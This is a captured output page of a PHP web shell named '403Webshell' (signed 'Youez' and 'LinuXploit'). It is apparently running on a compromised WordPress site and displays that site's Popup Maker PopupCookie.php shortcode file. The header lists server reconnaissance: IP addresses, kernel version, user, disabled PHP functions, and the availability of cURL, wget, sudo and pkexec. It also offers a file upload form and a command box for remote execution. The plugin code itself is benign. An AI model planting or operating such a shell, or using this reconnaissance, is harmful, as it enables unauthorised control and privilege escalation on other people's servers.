403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.163.189
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/audiomatrix.in/wp-content/plugins/popup-maker/classes/Shortcode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/audiomatrix.in/wp-content/plugins/popup-maker/classes/Shortcode/PopupCookie.php
<?php
/**
 * Shortcode for PopupCookie
 *
 * @package   PUM
 * @copyright Copyright (c) 2023, Code Atlantic LLC
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class PUM_Shortcode_PopupCookie
 *
 * Registers the popup_cookie shortcode.
 */
class PUM_Shortcode_PopupCookie extends PUM_Shortcode {

	public $version = 2;

	public $has_content = false;

	/**
	 * The shortcode tag.
	 */
	public function tag() {
		return 'popup_cookie';
	}

	public function label() {
		return __( 'Popup Cookie', 'popup-maker' );
	}

	public function description() {
		return __( 'Insert this to manually set cookies when users view the content containing the code.', 'popup-maker' );
	}

	public function post_types() {
		return [ '*' ];
	}

	public function fields() {
		return [
			'general' => [
				'main' => [
					'name'          => [
						'label'       => __( 'Cookie Name', 'popup-maker' ),
						'placeholder' => __( 'Cookie Name ex. popmaker-123', 'popup-maker' ),
						'desc'        => __( 'The name that will be used when checking for or saving this cookie.', 'popup-maker' ),
						'std'         => '',
					],
					'expires'       => [
						'label'       => __( 'Cookie Time', 'popup-maker' ),
						'placeholder' => __( '364 days 23 hours 59 minutes 59 seconds', 'popup-maker' ),
						'desc'        => __( 'Enter a plain english time before cookie expires.', 'popup-maker' ),
						'std'         => '1 month',
					],
					'sitewide'      => [
						'label' => __( 'Sitewide Cookie', 'popup-maker' ),
						'desc'  => __( 'This will prevent the popup from triggering on all pages until the cookie expires.', 'popup-maker' ),
						'type'  => 'checkbox',
						'std'   => true,
					],
					'only_onscreen' => [
						'label' => __( 'Only when visible on-screen', 'popup-maker' ),
						'desc'  => __( 'This will prevent the cookie from getting set until the user scrolls it into viewport.', 'popup-maker' ),
						'type'  => 'checkbox',
						'std'   => false,
					],
				],
			],
		];
	}

	/**
	 * Shortcode handler
	 *
	 * @param array  $atts    shortcode attributes
	 * @param string $content shortcode content
	 *
	 * @return string
	 */
	public function handler( $atts, $content = null ) {
		$atts = $this->shortcode_atts( $atts );

		// This shortcode requires our scripts, but can be used on pages where no popups exist.
		wp_enqueue_script( 'popup-maker-site' );

		$onscreen = esc_attr( 'data-only-onscreen="' . ( $atts['only_onscreen'] ? 1 : 0 ) . '"' );
		$args     = esc_attr(
			wp_json_encode(
				[
					'name' => $atts['name'],
					'time' => $atts['expires'],
					'path' => $atts['sitewide'],
				]
			)
		);

		return "<div class='pum-cookie' data-cookie-args='$args' $onscreen></div>";
	}

	public function template() { ?>
		<div class="pum-cookie"><?php esc_html_e( 'Popup Cookie', 'popup-maker' ); ?></div>
		<?php
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit